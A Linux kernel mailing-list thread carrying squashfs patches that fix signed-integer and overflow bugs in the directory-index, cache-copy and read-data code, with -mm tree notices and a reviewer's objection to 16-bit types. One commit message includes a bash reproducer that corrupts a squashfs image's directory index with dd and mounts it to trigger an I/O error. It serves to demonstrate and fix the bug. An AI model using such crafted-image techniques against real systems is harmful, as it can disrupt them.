@@ -65,33 +77,51 @@ static int get_dir_index_using_offset(struct super_block *sb,if (err <0 )break ; +/* Sanity check the directory index contents */ + +/* size should never be larger than SQUASHFS_NAME_LEN */ + size =le32_to_cpu (dir_index.size) +1 ; +if (size >SQUASHFS_NAME_LEN ) +break ; + +/* The stored index should not be larger than max_index */ index =le32_to_cpu (dir_index.index); +if (index > max_index) +break ; + + block =le32_to_cpu (dir_index.start_block); + +if (i >0 ) { +/* The stored index should be larger than the previous index */ +if (index <= length) +break ; + +/* The start_block should not be less than the previous start_block */ +if (block < start_block) +break ; + } +if (index > f_pos)/* * Found the index we're looking for. */ break ; - size =le32_to_cpu (dir_index.size) +1 ; - -/* size should never be larger than SQUASHFS_NAME_LEN */ -if (size >SQUASHFS_NAME_LEN ) -break ; - err =squashfs_read_metadata (sb,NULL , &index_start, &index_offset, size);if (err <0 )break ; - res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); + res =squashfs_dir_start (block, msblk);if (res <0 )break ; + start_block = block; length = index; *next_block = res; } - *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ; + *next_offset = ((u64 )length + *next_offset) %SQUASHFS_METADATA_SIZE ;/* * Translate back from internal f_pos to external f_pos.
@@ -105,7 +135,8 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 block; -int offset, length, err; +int offset, err; +loff_t length;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire =NULL ;
@@ -161,12 +192,15 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)squashfs_i (inode)->dir_idx_start,squashfs_i (inode)->dir_idx_offset,squashfs_i (inode)->dir_idx_cnt, - ctx->pos); + i_size_read(inode), ctx->pos);while (length <i_size_read (inode)) {/* * Read directory header */ +if (!squashfs_dir_space (inode, length,sizeof (dirh))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, &dirh, &block, &offset,sizeof (dirh));if (err <0 )
@@ -183,23 +217,30 @@ static int squashfs_readdir(struct file *file, struct dir_context *ctx)/* * Read directory entry. */ +if (!squashfs_dir_space (inode, length,sizeof (*dire))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire, &block, &offset,sizeof (*dire));if (err <0 ) goto failed_read; + length +=sizeof (*dire); size =le16_to_cpu (dire->size) +1 ;/* size should never be larger than SQUASHFS_NAME_LEN */ if (size >SQUASHFS_NAME_LEN ) goto failed_read; +if (!squashfs_dir_space (inode, length, size)) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire->name, &block, &offset, size);if (err <0 ) goto failed_read; - length +=sizeof (*dire) + size; + length += size;if (ctx->pos >= length)continue ;
fs/squashfs/namei.c +72 -22
173 lines not on this page · raw message
fs/squashfs/squashfs_helpers.h +7 -0
@@ -352,4 +352,11 @@ static inline s64 squashfs_add_indexes(u64 block, s64 blks, struct squashfs_sb_i return block + blks; } + +static inline bool squashfs_dir_space (struct inode *inode,loff_t length,int size) +{ +loff_t space =i_size_read (inode) - length; + +return space >= size; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: fix variables in directory code and add more sanity checks has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: fix variables in directory code and add more sanity checks
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix variables in directory code and add more sanity checks
Date: Mon, 23 Nov 2026 03:43:02 +0000
A directory larger than a metadata block (8192 bytes) will have a directory index to allow faster reading and lookup of names. This index allows the code to jump to the desired compressed metadata block, without requiring the directory to be scanned from the beginning.
But the index handling code has a defect in that multiple variables including those used to read and track directory indexes from disk are signed ints. This means any index which is 2^31 or larger will be treated as a negative value. The knock on efect of this is that the offset into the desired metadata block is incorrectly computed, with the result the directory fails to be read, and an I/O error is returned.
This commit corrects the variables (and function return value) to be unsigned int, and it also adds more sanity checking of the values read off disk (including directory size to avoid underflow in subtraction). Now if a directory index is found to be incorrect, the index is discarded and the previous index read from disk is used. This allows the directory to be read correctly without throwing an I/O error.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a root directory which has a directory index. The reproducer then corrupts root directory index 0 with an index value of -1. The filesystem is then mounted, and stat run on file /mnt/filename-490.
If the exploit succeeds stat will report an I/O error and dmesg will contain Squashfs error reports.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
for i in $(seq 1 1000); do
echo "filename-$i f 0700 0 0 echo hello" >> pseudo
done
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -pd "d 0777 0 0" -noI -no-progress -quiet; then
echo Creating the Squashfs filesystem failed
finish
fi
# Write -1 in little-endian format to file/usr/bin/echo -en "\xff\xff\xff\xff" > file
echo "Over-write the root directory index 0, with an index value of -1." echo "This because the metadata is uncompressed can be over-written directly," echo "but, normally the metadata will be compressed."
echo "The location of the 4 byte index is 32150"
dd bs=1 seek=32150 if=file of=img.sqsh count=4 conv=notrunc status=none
echo
echo "Mount the filesystem on /mnt"
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo
echo "Run stat /mnt/filename-490 on the mounted filesystem" echo
echo "If the exploit works stat will report I/O error, and dmesg will" echo "contain Squashfs error reports"
echo
stat /mnt/filename-490
umount /mnt
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
=====================================================================
fs/squashfs/dir.c | 73 ++++++++++++++++++------ fs/squashfs/namei.c | 94 +++++++++++++++++++++++-------- fs/squashfs/squashfs_helpers.h | 7 ++ 3 files changed, 136 insertions(+), 38 deletions(-)
fs/squashfs/dir.c renamed from fs/squashfs/dir.c~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks +57 -16
@@ -37,17 +37,17 @@ static const unsigned char squashfs_file* (if any) we have managed to read - the index isn't essential, just * quicker. */ -static int get_dir_index_using_offset (struct super_block *sb, +static unsigned int get_dir_index_using_offset (struct super_block *sb,u64 *next_block,int *next_offset,u64 index_start,int index_offset, -int i_count,u64 f_pos) +unsigned int i_count,loff_t max_index,u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info;s64 res; -int err, i, index, length =0 ; -unsigned int size; +int err; +unsigned int i, index, length =0 , size, start_block, block;struct squashfs_dir_index dir_index; -TRACE ("Entered get_dir_index_using_offset, i_count %d, f_pos %lld\n" , +TRACE ("Entered get_dir_index_using_offset, i_count %u, f_pos %lld\n" , i_count, f_pos);/*
@@ -58,6 +58,18 @@ static int get_dir_index_using_offset(stif (f_pos <=3 )return f_pos; f_pos -=3 ; + max_index -=3 ; + +/* +* A valid index starts at a directory header, and there must be enough +* room for a directory header and one directory entry. +*/ +if (max_index <sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ) +return 3 ; + + max_index -=sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ;for (i =0 ; i < i_count; i++) { err = squashfs_read_metadata(sb, &dir_index, &index_start,
@@ -65,33 +77,51 @@ static int get_dir_index_using_offset(stif (err <0 )break ; +/* Sanity check the directory index contents */ + +/* size should never be larger than SQUASHFS_NAME_LEN */ + size =le32_to_cpu (dir_index.size) +1 ; +if (size >SQUASHFS_NAME_LEN ) +break ; + +/* The stored index should not be larger than max_index */ index =le32_to_cpu (dir_index.index); +if (index > max_index) +break ; + + block =le32_to_cpu (dir_index.start_block); + +if (i >0 ) { +/* The stored index should be larger than the previous index */ +if (index <= length) +break ; + +/* The start_block should not be less than the previous start_block */ +if (block < start_block) +break ; + } +if (index > f_pos)/* * Found the index we're looking for. */ break ; - size =le32_to_cpu (dir_index.size) +1 ; - -/* size should never be larger than SQUASHFS_NAME_LEN */ -if (size >SQUASHFS_NAME_LEN ) -break ; - err =squashfs_read_metadata (sb,NULL , &index_start, &index_offset, size);if (err <0 )break ; - res =squashfs_dir_start (le32_to_cpu (dir_index.start_block), msblk); + res =squashfs_dir_start (block, msblk);if (res <0 )break ; + start_block = block; length = index; *next_block = res; } - *next_offset = (length + *next_offset) %SQUASHFS_METADATA_SIZE ; + *next_offset = ((u64 )length + *next_offset) %SQUASHFS_METADATA_SIZE ;/* * Translate back from internal f_pos to external f_pos.
@@ -105,7 +135,8 @@ static int squashfs_readdir(struct filestruct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 block; -int offset, length, err; +int offset, err; +loff_t length;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire =NULL ;
@@ -161,12 +192,15 @@ static int squashfs_readdir(struct filesquashfs_i (inode)->dir_idx_start,squashfs_i (inode)->dir_idx_offset,squashfs_i (inode)->dir_idx_cnt, - ctx->pos); + i_size_read(inode), ctx->pos);while (length <i_size_read (inode)) {/* * Read directory header */ +if (!squashfs_dir_space (inode, length,sizeof (dirh))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, &dirh, &block, &offset,sizeof (dirh));if (err <0 )
@@ -183,23 +217,30 @@ static int squashfs_readdir(struct file/* * Read directory entry. */ +if (!squashfs_dir_space (inode, length,sizeof (*dire))) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire, &block, &offset,sizeof (*dire));if (err <0 ) goto failed_read; + length +=sizeof (*dire); size =le16_to_cpu (dire->size) +1 ;/* size should never be larger than SQUASHFS_NAME_LEN */ if (size >SQUASHFS_NAME_LEN ) goto failed_read; +if (!squashfs_dir_space (inode, length, size)) + goto failed_read; + err =squashfs_read_metadata (inode->i_sb, dire->name, &block, &offset, size);if (err <0 ) goto failed_read; - length +=sizeof (*dire) + size; + length += size;if (ctx->pos >= length)continue ;
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks +72 -22
173 lines not on this page · raw message
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks +7 -0
@@ -352,4 +352,11 @@ static inline s64 squashfs_add_indexes(u return block + blks; } + +static inline bool squashfs_dir_space (struct inode *inode,loff_t length,int size) +{ +loff_t space =i_size_read (inode) - length; + +return space >= size; +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 22/23 Squashfs: fix regression in squashfs_copy_cache()
In reply to Phillip LougherIn a recent commit updating the code to use folios, the bytes variable was changed from signed to unsigned in squashfs_copy_cache().
The bytes variable is used in a loop where PAGE_SIZE bytes are subtracted from it each time around the loop, and where the loop terminates once bytes is less than or equal to zero.
The effect of the change in signedness is bytes no longer becomes negative when it is not a multiple of PAGE_SIZE, and the loop does not terminate when it should do, and instead folios are created and filled after file EOF.
These beyond EOF folios are not visible to user-space and hence this is a silent regression.
This commit fixes the code to only subtract the minimum of bytes or PAGE_SIZE, and which ensures the variable does not underflow.
--- fs/squashfs/file.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-)
fs/squashfs/file.c +6 -4
@@ -410,6 +410,7 @@ void squashfs_copy_cache(struct folio *folio,struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ;s64 start_index = folio->index & ~mask, end_index = start_index | mask; +size_t avail;/* * Loop copying datablock into pages. As the datablock likely covers
@@ -417,12 +418,13 @@ void squashfs_copy_cache(struct folio *folio,* grab the pages from the page cache, except for the page that we've * been called to fill. */ -for (i = start_index; i <= end_index && bytes >0 ; i++, - bytes -=PAGE_SIZE , offset +=PAGE_SIZE ) { +for (i = start_index; i <= end_index && bytes; i++, + bytes -= avail, offset += avail) {struct folio *push_folio; -size_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; + avail =min (bytes,PAGE_SIZE ); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio :
@@ -436,7 +438,7 @@ void squashfs_copy_cache(struct folio *folio,if (folio_test_uptodate (push_folio)) goto skip_folio; - updated =squashfs_fill_page (push_folio, buffer, offset, avail); + updated =squashfs_fill_page (push_folio, buffer, offset, buffer ? avail :0 ); skip_folio:folio_end_read (push_folio, updated);if (i != folio->index)
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-fix-regression-in-squashfs_copy_cache.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: fix regression in squashfs_copy_cache() has been added to the -mm mm-nonmm-unstable branch. Its filename is squashfs-fix-regression-in-squashfs_copy_cache.patch
The patch titled
Subject: Squashfs: fix regression in squashfs_copy_cache()
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-fix-regression-in-squashfs_copy_cache.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-fix-regression-in-squashfs_copy_cache.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix regression in squashfs_copy_cache()
Date: Mon, 23 Nov 2026 03:43:03 +0000
In a recent commit updating the code to use folios, the bytes variable was changed from signed to unsigned in squashfs_copy_cache().
The bytes variable is used in a loop where PAGE_SIZE bytes are subtracted from it each time around the loop, and where the loop terminates once bytes is less than or equal to zero.
The effect of the change in signedness is bytes no longer becomes negative when it is not a multiple of PAGE_SIZE, and the loop does not terminate when it should do, and instead folios are created and filled after file EOF.
These beyond EOF folios are not visible to user-space and hence this is a silent regression.
This commit fixes the code to only subtract the minimum of bytes or PAGE_SIZE, and which ensures the variable does not underflow.
fs/squashfs/file.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-)
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-fix-regression-in-squashfs_copy_cache +6 -4
@@ -410,6 +410,7 @@ void squashfs_copy_cache(struct folio *fstruct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ;s64 start_index = folio->index & ~mask, end_index = start_index | mask; +size_t avail;/* * Loop copying datablock into pages. As the datablock likely covers
@@ -417,12 +418,13 @@ void squashfs_copy_cache(struct folio *f* grab the pages from the page cache, except for the page that we've * been called to fill. */ -for (i = start_index; i <= end_index && bytes >0 ; i++, - bytes -=PAGE_SIZE , offset +=PAGE_SIZE ) { +for (i = start_index; i <= end_index && bytes; i++, + bytes -= avail, offset += avail) {struct folio *push_folio; -size_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; + avail =min (bytes,PAGE_SIZE ); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio :
@@ -436,7 +438,7 @@ void squashfs_copy_cache(struct folio *fif (folio_test_uptodate (push_folio)) goto skip_folio; - updated =squashfs_fill_page (push_folio, buffer, offset, avail); + updated =squashfs_fill_page (push_folio, buffer, offset, buffer ? avail :0 ); skip_folio:folio_end_read (push_folio, updated);if (i != folio->index)
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 23/23 Squashfs: check index isn't greater than S64_MAX in squashfs_read_data()
In reply to Phillip LougherThe previous commits in this patch-set now sanity check index before squashfs_read_data() is called. However, it is always wise to take a belts and braces approach and sanity check at the lowest level to trap any values that could slip through.
--- fs/squashfs/block.c | 9 +++++++++ 1 file changed, 9 insertions(+)
fs/squashfs/block.c +9 -0
@@ -297,6 +297,15 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,int res;int offset; +/* +* Reject index values greater than possible filesystem size (S64_MAX). +* This also ensures the index variable doesn't overflow in the function. +*/ +if (index >S64_MAX ) { + res = -EIO ; + goto out; + } +if (length) {/* * Datablock.
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: check index isn't greater than S64_MAX in squashfs_read_data() has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: check index isn't greater than S64_MAX in squashfs_read_data()
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: check index isn't greater than S64_MAX in squashfs_read_data()
Date: Mon, 23 Nov 2026 03:43:04 +0000
The previous commits in this patch-set now sanity check index before squashfs_read_data() is called. However, it is always wise to take a belts and braces approach and sanity check at the lowest level to trap any values that could slip through.
fs/squashfs/block.c | 9 +++++++++ 1 file changed, 9 insertions(+)
fs/squashfs/block.c renamed from fs/squashfs/block.c~squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data +9 -0
@@ -297,6 +297,15 @@ int squashfs_read_data(struct super_blocint res;int offset; +/* +* Reject index values greater than possible filesystem size (S64_MAX). +* This also ensures the index variable doesn't overflow in the function. +*/ +if (index >S64_MAX ) { + res = -EIO ; + goto out; + } +if (length) {/* * Datablock.
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Quoted 5 lines · On Mon, 23 Nov 2026 03:42:41 +0000 Phillip Lougher <[email protected]>…
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
Thanks. I've updated mm.git's mm-nonmm-unstable branch to this version.
Here's how v3 altered mm.git:
fs/squashfs/dir.c | 37 ++++++++++++-------- fs/squashfs/file.c | 4 +- fs/squashfs/inode.c | 8 +++- fs/squashfs/namei.c | 57 +++++++++++++++---------------- fs/squashfs/squashfs_helpers.h | 11 ++--- 5 files changed, 65 insertions(+), 52 deletions(-)
fs/squashfs/dir.c renamed from fs/squashfs/dir.c~b +23 -14
@@ -134,23 +134,15 @@ static int squashfs_readdir(struct file {struct inode *inode =file_inode (file);struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -s64 block =squashfs_dir_start (squashfs_i (inode)->start, msblk); -int offset =squashfs_i (inode)->offset, err; +s64 block; +int offset, err;loff_t length;unsigned int inode_number, dir_count, size, type;struct squashfs_dir_header dirh;struct squashfs_dir_entry *dire =NULL ; -TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start, offset); - -if (block <0 ) - goto failed_read; - - dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL ); -if (dire ==NULL ) { -ERROR ("Failed to allocate squashfs_dir_entry\n" ); - goto finish; - } +TRACE ("Entered squashfs_readdir [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset);/* * Return "." and ".." entries as the first two filenames in the
@@ -181,6 +173,21 @@ static int squashfs_readdir(struct file ctx->pos += size; } +if (i_size_read (inode) ==3 ) +/* The directory is empty, nothing more to do */ + goto finish; + + block =squashfs_dir_start (squashfs_i (inode)->start, msblk); +if (block <0 ) + goto failed_read; + + dire =kmalloc (sizeof (*dire) +SQUASHFS_NAME_LEN +1 ,GFP_KERNEL ); +if (dire ==NULL ) { +ERROR ("Failed to allocate squashfs_dir_entry\n" ); + goto finish; + } + + offset =squashfs_i (inode)->offset; length = get_dir_index_using_offset(inode->i_sb, &block, &offset, squashfs_i(inode)->dir_idx_start, squashfs_i(inode)->dir_idx_offset,
@@ -255,12 +262,14 @@ static int squashfs_readdir(struct file } } -finish:kfree (dire); + +finish:return 0 ; failed_read: -ERROR ("Unable to read directory block [%llx:%x]\n" ,squashfs_i (inode)->start, offset); +ERROR ("Unable to read directory [%llx:%x]\n" ,squashfs_i (inode)->start, +squashfs_i (inode)->offset);kfree (dire);return 0 ; }
fs/squashfs/file.c renamed from fs/squashfs/file.c~b +2 -2
@@ -596,10 +596,10 @@ static void squashfs_readahead(struct re {struct inode *inode = ractl->mapping->host;struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info; -size_t mask = (1UL << msblk->block_log) -1 ; +s64 mask = (1UL << msblk->block_log) -1 ;unsigned short shift = msblk->block_log -PAGE_SHIFT ;loff_t start =readahead_pos (ractl) & ~mask; -size_t len =readahead_length (ractl) +readahead_pos (ractl) - start; +s64 len =readahead_length (ractl) +readahead_pos (ractl) - start;struct squashfs_page_actor *actor;unsigned int nr_pages =0 ;struct page **pages;
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~b +6 -2
@@ -255,8 +255,10 @@ int squashfs_read_inode(struct inode *in/* The directory size must be 3 or larger, as it includes "." and ".." entries */ inode->i_size =le16_to_cpu (sqsh_ino->file_size); -if (inode->i_size <3 ) +if (inode->i_size <3 ) { + err = -EINVAL ; goto failed_read; + }set_nlink (inode,le32_to_cpu (sqsh_ino->nlink)); inode->i_op = &squashfs_dir_inode_ops;
@@ -284,8 +286,10 @@ int squashfs_read_inode(struct inode *in/* The directory size must be 3 or larger, as it includes "." and ".." entries */ inode->i_size =le32_to_cpu (sqsh_ino->file_size); -if (inode->i_size <3 ) +if (inode->i_size <3 ) { + err = -EINVAL ; goto failed_read; + } xattr_id =le32_to_cpu (sqsh_ino->xattr);set_nlink (inode,le32_to_cpu (sqsh_ino->nlink));
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~b +29 -28
118 lines not on this page · raw message
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~b +5 -6
@@ -59,7 +59,7 @@ static inline s64 squashfs_inode_start(s start = msblk->inode_table +squashfs_inode_blk (inode); -if (start > msblk->directory_table) +if (start >= msblk->directory_table)return -EINVAL ;return start;
@@ -80,8 +80,7 @@ static inline s64 squashfs_dir_start(u32 start = msblk->directory_table + blk; -if (msblk->directory_table < msblk->directory_table_end && - start >= msblk->directory_table_end) +if (start >= msblk->directory_table_end)return -EINVAL ;return start;
@@ -135,7 +134,7 @@ static inline s64 squashfs_fragment_indereturn start; } -static inline s16 squashfs_fragment_indexes_offset (u32 fragments) +static inline s32 squashfs_fragment_indexes_offset (u32 fragments) {return (squashfs_fragment_index (fragments) *sizeof (long long )) & (PAGE_SIZE -1 ); }
@@ -188,7 +187,7 @@ static inline s64 squashfs_lookup_blocksreturn start; } -static inline s16 squashfs_lookup_blocks_offset (u32 inodes) +static inline s32 squashfs_lookup_blocks_offset (u32 inodes) {return (squashfs_lookup_block (inodes) *sizeof (long long )) & (PAGE_SIZE -1 ); }
@@ -269,7 +268,7 @@ static inline s64 squashfs_xattr_blocks_return start; } -static inline s16 squashfs_xattr_blocks_offset (u32 xattrs) +static inline s32 squashfs_xattr_blocks_offset (u32 xattrs) {return (squashfs_xattr_block (xattrs) *sizeof (long long )) & (PAGE_SIZE -1 ); }
_
Quoted 16 lines · On Mon, 23 Nov 2026 03:42:41 +0000 Phillip Lougher <[email protected]>…
This large patch-set is inspired by the recent spate of AI generated code reports. Four of the patches directly fix AI reported issues, and the rest have been found manually by a read-through and testing of the code.
In all cases (except patches 1 - 8, 18 - 20) the patches deal with over-sights relating to variable overflow, arithmetic overflow, variable signedness or just lack of sanity checking of data read from disk. These can cause the code to fail, and which could be used as a potential exploit.
Patches 18, 19, and 20 fix potential excessive memory use exploits. The code in question was written in the early days when Squashfs filesystems were small, but with very large filesystems it could try to allocate memory in excess of 4 MiB, and up to 64 MiB.
Quoted 6 lines
The patches can be broken down as follows:
Patches 1 - 6 are preparatory patches. They convert old fashioned #define macros into inline functions. These being typed make widths and signedness explicit, and allow additional checking to be added in later patches.
Nope....
Using 16bit sizes is a recipe for disaster.
Remember every time the variable is accessed it is extended to 32 'int', the arithmetic done as 'int' (unless the other operand is 'unsigned int') and then truncated back to 16 bits.
I looked at a few, they are horrid beyond belief.
I can't believe some of those values can be negative - so don't use signed types.
